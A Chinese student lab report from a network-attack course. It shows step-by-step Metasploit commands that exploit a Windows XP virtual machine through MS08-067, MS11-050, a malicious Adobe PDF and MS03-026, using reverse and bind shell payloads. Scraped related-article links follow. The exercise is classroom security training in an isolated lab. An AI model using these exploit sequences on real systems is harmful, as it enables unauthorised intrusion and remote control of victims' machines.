实验内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  • 一个主动攻击实践,如ms08-067;

  • 一个针对浏览器的攻击,如ms11-050;

  • 一个针对客户端的攻击,如Adobe;

  • 成功应用任何一个辅助模块。

  • 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的。


主动攻击实践 MS08-067漏洞

  • msfconsole进入msf控制台
  • search ms08_067查看该漏洞

  • use exploit/windows/smb/ms08_067_netapi使用该漏洞

  • show payloads回链攻击载荷

  • set payload generic/shell_reverse_tcptcp反向回连

  • set LHOST 192.168.126.128攻击机的ip地址

  • set LPORT 5229 攻击的端口

  • set RHOST 192.168.126.136靶机的ip地址

  • set target 0 选择目标系统类型

  • exploit 进行攻击

  • 下图中展现了攻击成功

  • 在kali中输入ipconfig查看靶机的ip地址

  • 在XP中查看靶机的ip地址,两者相比较,完全一样。

针对浏览器的攻击 ms11_050

  • 进入msfconsole控制台

  • 输入use windows/browser/ms11_050_mshtml_cobjectelement命令使用ms11_050漏洞

  • 输入set payload windows/meterpreter/reverse_http命令使用http反向连接

  • 设置kali的IP地址set LHOST 192.168.126.128

  • 设置端口set LPORT 5229

  • 设置资源标识符路径set URIPATH fyh5229

  • 进行攻击exploit



将上图的LOCAL IP 的网址输入进WIN XP中的IE浏览器中,出现遇到问题需要关闭的窗口。同时360已经给出需要修复的通知。

  • 但是回到KALI建立会话时,IE浏览器已经关闭该网页。

  • 设置浏览器的选项,将安全等级设为最低,且启动了插件设置,但是,会话连接还是失败。。。

会接着研究这个问题的

针对客户端的攻击 Adobe

  • 输入msfconsole进入msf控制台

  • 输入search adobe查找和adobe相关的漏洞

  • 我选择了 windows/fileformat/adobe_cooltype_sing

  • 输入set payload windows/meterpreter/reverse_tcp使用tcp反向连接

  • 设置IP地址及端口号

  • 输入set FILENAME 5229.pdf命令生成pdf文件

  • 进行攻击

  • 下图为成功生成PDF文件的标志。

  • 根据存储路径,找到PDF文件并将其放进靶机里。
  • 但我找了很久都没有找到该文件,后来,如下图,选择显示隐藏文件,这时就能找到隐藏的文件夹了。

  • 我先将改文件复制进了我的主机中,立马被360删除了。

  • 在msf中进入监听模式
  • set payload windows/meterpreter/reverse_tcptcp反向连接
  • 设置ip地址和端口号
  • 进行攻击

  • 在XP上打开5229.pdf文件,kali中显示攻击成功

  • 输入ipconfig,显示的是xp的ip地址,证明攻击正确。


辅助模块 webdav

webdav: WebDAV 一种基于 HTTP 1.1协议的通信协议。由于 WebDAV 已与 Windows XP 和 IIS 集成,因此它具有这两者所提供的安全特性。其中包括 Internet 信息服务管理单元中指定的 IIS 权限和 NTFS 文件系统中的自由选择访问控制列表 (DACL)。

  • 进入msf控制台
  • 使用show auxiliary命令显示所有的辅助模块以及他们的用途。

  • 选择scanner/http/webdav_scanner
  • show options查看该漏洞的配置选项

  • 设置了kali的ip地址和线程
  • 进行攻击

  • 允许webdav,再次进行攻击,会得到[*] 192.168.126.128 (Microsoft-IIS/6.0) has WEBDAV ENABLED 的消息。

RPC接口长主机名远程缓冲区溢出漏洞(MS03-026)

  • Remote Procedure Call (RPC)是Windows操作系统使用的一种远程过程调用协议,RPC提供进程间交互通信机制,允许在某台计算机上运行的程序无缝地在远程系统上执行代码。

  • 使用use exploit/windows/dcerpc/ms03_026_dcom

  • 使用set payload windows/shell_bind_tcptcp反向连接

  • show options 查看该漏洞的配置选项

  • set LHOST 192.168.126.128 设置主机ip

  • set RHOST 192.168.126.137 设置反弹shell的ip

  • 进行攻击,攻击成功,但是没办法建立会话。

"无会话已创建"消息发生的情况: ① 使用的漏洞利用对所选择的目标不起作用。可以
是一个不同版本的漏洞,或目标配置有问题。 ② 您使用的漏洞利用被配置为使用不创建的有效载荷
互动会话。

实验后问题回答

  • 用自己的话解释什么是exploit,payload,encode.

  • exploit英文翻译为利用,黑客就是利用漏洞对电脑进行攻击,有漏洞不一定可以利用,但可以利用的一定有漏洞。

  • payload:有效载荷。通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,而其中的原始数据就是payload

  • encode:编码器,用来给payload进行编码,保护payload不被发现


实验总结与体会

这次实验其实不难,但是不代表每次攻击都能成功,也不代表每次攻击都能成功建立会话,我做了好几个实验,成功的占少数,还有些失败的我没写上来。

虽然失败的占多数,但无疑这次实验通过自己查找资料学习漏洞学到了很多知识。

20155229《网络对抗技术》Exp5:MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. C语言目录

    软件行业的很多细分学科都是都是基于C语言的,学习数据结构.算法.操作系统.编译原理等都离不开C语言. PHP.Python 等都是用C语言开发出来的,虽然平时做项目的时候看不到C语言的影子,但是如果想 ...

  2. Hive使用SequenceFile存储数据

    SequenceFile是使用二进制保存数据,是可以压缩的,并且压缩后的数据可被分割,可以供mapreduce处理. 下面的实例使用SequenceFile保存Hive表的数据,并且使用了压缩. se ...

  3. Expo大作战(六)--expo开发模式,expo中exp命令行工具,expo中如何查看日志log,expo中的调试方式

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,将全部来与官网 我猜去全部机翻+个人 ...

  4. 解决在IDEA 的Maven下 出现 Cannot access in offline mode 问题

    去掉maven前面的work offline模式

  5. Hibernate中Session.get()方法和load()方法的详细比较

    一.get方法和load方法的简易理解  (1)get()方法直接返回实体类,如果查不到数据则返回null.load()会返回一个实体代理对象(当前这个对象可以自动转化为实体对象),但当代理对象被调用 ...

  6. Jemeter 连接数据库

    1.打开Jmeter添加测试计划,(http://central.maven.org/maven2/mysql/mysql-connector-java/6.0.6/mysql-connector-j ...

  7. python基础一数据类型之字典

    摘要: python基础一数据类型之一字典,这篇主要讲字典. 1,定义字典 2,字典的基础知识 3,字典的方法 1,定义字典 1,定义1个空字典 dict1 = {} 2,定义字典 dict1 = d ...

  8. “由于这台计算机没有终端服务器客户端访问许可证”解决方案

    由于windows2003默认仅支持2个终端用户的登陆.当"终端连接超出了最大连接"的情况出现导致不能登录. 1.在另外一台Windows2003的机器上运行"tsmmc ...

  9. 安装并使用pt-ioprofile

    pt-ioprofile,是一个percona的性能分析工具,可以查看进程输出.输入,打印一些表文件及活动IO.pt-ioprofile是一个只读工具,所以对数据没风险.由于网上对pt-ioprofi ...

  10. Javaweb学习(二):Http通信协议

      当我们开始jsp/servlet编程之旅之前,我们还需要知道一些关于网络通讯方面的一些知识.这样能更加有助于我们的理解,希望大家能看懂我的描述,而不至于在学习的路上一知半解.(手动比❤) 认识Ht ...